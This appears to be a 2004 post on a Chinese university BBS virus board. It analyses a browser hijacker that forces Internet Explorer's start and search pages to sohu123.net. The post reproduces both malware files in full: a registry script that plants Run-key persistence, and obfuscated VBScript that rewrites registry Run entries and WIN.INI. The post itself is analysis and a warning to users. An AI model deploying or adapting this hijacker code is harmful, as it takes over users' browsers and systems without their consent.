Virus 版 (精华区)

发信人: Cxzjm (Cxzjm), 信区: Virus
标  题: http://www.sohu123.net/病毒
发信站: BBS 哈工大紫丁香站 (Fri Jun 25 09:27:52 2004)

症状：篡改主页为“http://www.sohu123.net/”
在Run和RunOnce主键下新建了键值：WIN32
键值链接到C:\$NtUninstallQ887678$目录下的两个文件
WINSYS.CER
WINSYS.VBS

用记事本看了一下，WINSYS.CER的内容如下：

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer]
"SearchURL"="http://www.sohu123.net/serch.htm"

[HKEY_USERS\.Default\Software\Microsoft\Internet Explorer]
"SearchURL"="http://www.sohu123.net/serch.htm"

[HKEY_USERS\.Default\Software\Microsoft\Internet Explorer\Main]
"Search Page"="http://www.sohu123.net/serch.htm"
"Default_Search_URL"="http://www.sohu123.net/serch.htm"
"Search Bar"="http://www.sohu123.net/serch.htm"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Search]
"SearchAssistant"="http://www.sohu123.net/serch.htm"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]
"SearchAssistant"="http://www.sohu123.net/serch.htm"

[HKEY_USERS\.Default\Software\Microsoft\Internet Explorer\Search]
"SearchAssistant"="http://www.sohu123.net/serch.htm"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page"="http://www.sohu123.net"
"First Home Page"="http://www.sohu123.net"
"Default_Search_URL"="http://www.sohu123.net/serch.htm"
"Search Page"="http://www.sohu123.net/serch.htm"
"Search Bar"="http://www.sohu123.net/serch.htm"
"Local Page"="http://www.sohu123.net"

[-HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Run]
@="regedit -s C:\\$NtUninstallQ887678$\\WINSYS.cer"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="http://www.sohu123.net"

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Default_Search_URL"="http://www.sohu123.net/serch.htm"
"Search Page"="http://www.sohu123.net/serch.htm"
"Search Bar"="http://www.sohu123.net/serch.htm"
"SearchURL"="http://www.sohu123.net/serch.htm"
"Start Page"="http://www.sohu123.net"
"First Home Page"="http://www.sohu123.net"
"Default_Page_URL"="http://www.sohu123.net"
"Local Page"="http://www.sohu123.net"

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"WlN32"="C:\\$NtUninstallQ887678$\\WINSYS.vbs"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"WlN32"="regedit -s C:\\$NtUninstallQ887678$\\WINSYS.cer"
"internat.exe"="internat.exe"
"zwupdows"=-
"win"=-
"mwin"=-
"intenet"=-
"Inernet"=-
"Internet"=-
"iexpleror"=-
"zxdows"=-
"qwe"=-
"win1"=-
"winwin"=-
"9i5zxdows"=-
"9i5com01zxdows"=-
"99zxdows"=-
"syste"=-
"intelnat.exe"=-
"88zxdows"=-
"Start Pagewin"=-
"Start Page"=-
"9i5comzxdows"=-
"9q5zxdows"=-
"999izxdows"=-
"033zxdows"=-
"8zxdows"=-
"flash"=-
"3zxdows"=-
"interneet.exe"=-
"u88y"=-
"88u88"=-
"u18"=-
"u1881"=-
"u1882"=-
"u1883"=-
"u1884"=-
"u1885"=-
"u1886"=-
"u1887"=-
"u1888"=-
"system"=-
"u188"=-
"iexpler"=-
"u1810"=-
"WIN32"=-


WINSYS.VBS的内容为：
Set sss = CreateObject("WSc" + "ript.Sh" + "ell")
mhk="HK"&"LM\SO"&"FTWARE\Mi"&"cr"&"os"&"oft\Win"&"dows\Cu"&"rren"&"tVersion\Ru
n\"
mhc="H"&"K"&"CU\So"&"ft"&"ware\Mic"&"ros"&"oft\Win"&"dows\Curren"&"tVersion\Ru
n\"
mhk2="HK"&"LM\SO"&"FT"&"WARE\M"&"icr"&"osoft\Wi"&"n"&"dows\Curren"&"tVersion\"

sss.RegWrite ""&mhk&"WlN32","regedit -s C:\$NtUninstallQ887678$\WINSYS.cer"
sss.RegWrite ""&mhk&"internat.exe","internat.exe"
sss.RegWrite ""&mhk&"zwupdows","12"
sss.RegWrite ""&mhk&"win","12"
sss.RegWrite ""&mhk&"mwin","12"
sss.RegWrite ""&mhk&"internt","12"
sss.RegWrite ""&mhk&"Inernet","12"
sss.RegWrite ""&mhk&"Internet","12"
sss.RegWrite ""&mhk&"iexpleror","12"
sss.RegWrite ""&mhk&"zxdows","12"
sss.RegWrite ""&mhk&"qwe","12"
sss.RegWrite ""&mhk&"win1","12"
sss.RegWrite ""&mhk&"intelnat.exe","12"
sss.RegWrite ""&mhk&"u1888","12"
sss.RegWrite ""&mhk&"intenet","12"
sss.RegWrite ""&mhk&"9i5zxdows","12"
sss.RegWrite ""&mhk&"9i5com01zxdows","12"
sss.RegWrite ""&mhk&"99zxdows","12"
sss.RegWrite ""&mhk&"88zxdows","12"
sss.RegWrite ""&mhk&"Start Pagewin","12"
sss.RegWrite ""&mhk&"Start Page","12"
sss.RegWrite ""&mhk&"u188","12"
sss.RegWrite ""&mhk&"9i5comzxdows","12"
sss.RegWrite ""&mhk&"9q5zxdows","12"
sss.RegWrite ""&mhk&"u1881","12"
sss.RegWrite ""&mhk&"u1882","12"
sss.RegWrite ""&mhk&"u1883","12"
sss.RegWrite ""&mhk&"u1884","12"
sss.RegWrite ""&mhk&"u1885","12"
sss.RegWrite ""&mhk&"u1886","12"
sss.RegWrite ""&mhk&"u1887","12"
sss.RegWrite ""&mhk&"u88y", "12"
sss.RegWrite ""&mhk&"flash", "12"
sss.RegWrite ""&mhk&"999izxdows","12"
sss.RegWrite ""&mhk&"033zxdows","12"
sss.RegWrite ""&mhk&"syste","12"
sss.RegWrite ""&mhc&"my","12"
sss.RegWrite ""&mhk&"3zxdows","12"
sss.RegWrite ""&mhk&"88u88","12"
sss.RegWrite ""&mhk&"system","12"
sss.RegWrite ""&mhk&"8zxdows","12"
sss.RegWrite ""&mhk&"u18","12"
sss.RegWrite ""&mhk&"interneet.exe","12"
sss.RegWrite ""&mhk2&"RunOnce\", "12"
sss.RegWrite ""&mhk&"iexpler", "12"
sss.RegWrite ""&mhk&"u1810", "12"
sss.RegWrite ""&mhk&"winwin", "12"
sss.RegWrite ""&mhk&"WIN32", "12"
sss.RegWrite ""&mhk&"W1N32", "12"
sss.RegDelete ""&mhc&""
sss.RegDelete ""&mhk&"zwupdows"
sss.RegDelete ""&mhk&"win"
sss.RegDelete ""&mhk&"mwin"
sss.RegDelete ""&mhk&"internt"
sss.RegDelete ""&mhk&"inernet"
sss.RegDelete ""&mhk&"Internet"
sss.RegDelete ""&mhk&"u188"
sss.RegDelete ""&mhk&"iexpleror"
sss.RegDelete ""&mhk&"zxdows"
sss.RegDelete ""&mhk&"qwe"
sss.RegDelete ""&mhk&"win1"
sss.RegDelete ""&mhk&"intelnat.exe"
sss.RegDelete ""&mhk&"intenet"
sss.RegDelete ""&mhk&"9i5zxdows"
sss.RegDelete ""&mhk&"9i5com01zxdows"
sss.RegDelete ""&mhk&"99zxdows"
sss.RegDelete ""&mhk&"88zxdows"
sss.RegDelete ""&mhk&"Start Pagewin"
sss.RegDelete ""&mhk&"Start Page"
sss.RegDelete ""&mhk&"9i5comzxdows"
sss.RegDelete ""&mhk&"9q5zxdows"
sss.RegDelete ""&mhk&"999izxdows"
sss.RegDelete ""&mhk&"033zxdows"
sss.RegDelete ""&mhk&"u1881"
sss.RegDelete ""&mhk&"u1882"
sss.RegDelete ""&mhk&"u1883"
sss.RegDelete ""&mhk&"u1884"
sss.RegDelete ""&mhk&"u1885"
sss.RegDelete ""&mhk&"u1886"
sss.RegDelete ""&mhk&"u1887"
sss.RegDelete ""&mhk&"u88y"
sss.RegDelete ""&mhk&"flash"
sss.RegDelete ""&mhk&"88u88"
sss.RegDelete ""&mhk&"interneet.exe"
sss.RegDelete ""&mhk&"u18"
sss.RegDelete ""&mhk&"u1888"
sss.RegDelete ""&mhk&"system"
sss.RegDelete ""&mhk&"3zxdows"
sss.RegDelete ""&mhk&"8zxdows"
sss.RegDelete ""&mhk&"syste"
sss.RegDelete ""&mhk2&"RunOnce\"
sss.RegDelete ""&mhk&"iexpler"
sss.RegDelete ""&mhk&"u1810"
sss.RegDelete ""&mhk&"winwin"
sss.RegDelete ""&mhk&"WIN32"
sss.RegDelete ""&mhk&"W1N32"

Set FSO = CreateObject("Scrip" + "ting." + "FileSyst" + "emO" + "bject")
myfile14=FSO.FileExists("c:\wind" + "ows\W" + "IN.INI")
if myfile14 then
set FSO2=FSO.OpenTextFile("c:\win" + "dows\W" + "IN.INI")
mywin=FSO2.ReadALL()
l=Instr(mywin,"run=")-3
m=Instr(mywin,"load=")-1
n=Instr(mywin,"NullPort=")-3
FSO2.close
if l>0 and m>0 and l>m then
set FSO3=FSO.OpenTextFile("c:\wi" + "ndows\W" + "IN.INI")
mywin2=FSO3.Read(l)
FSO3.close
set FSO4=FSO.OpenTextFile("c:\win" + "dows\WI" + "N.INI")
mywin3=FSO4.Read(m)
FSO4.close
if n>0 and n>l then
set FSO5=FSO.OpenTextFile("c:\wind" + "ows\WIN" + ".INI")
mywin4=FSO5.Read(n)
FSO5.close
mywin=Replace(mywin,mywin4,"")
set FSO2=FSO.CreateTextFile("c:\win" + "dows\WI" + "N.INI")
FSO2.Write mywin3
FSO2.WriteLine "load="
FSO2.Write "run="
FSO2.Write mywin
FSO2.close
else
mywin=Replace(mywin,mywin2,"")
set FSO2=FSO.CreateTextFile("c:\win" + "dows\WI" + "N.INI")
FSO2.Write mywin3
FSO2.Write "load="
FSO2.Write mywin
FSO2.close
end if
end if
end if


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※ 来源:·哈工大紫丁香 http://bbs.hit.edu.cn·[FROM: 202.118.237.221]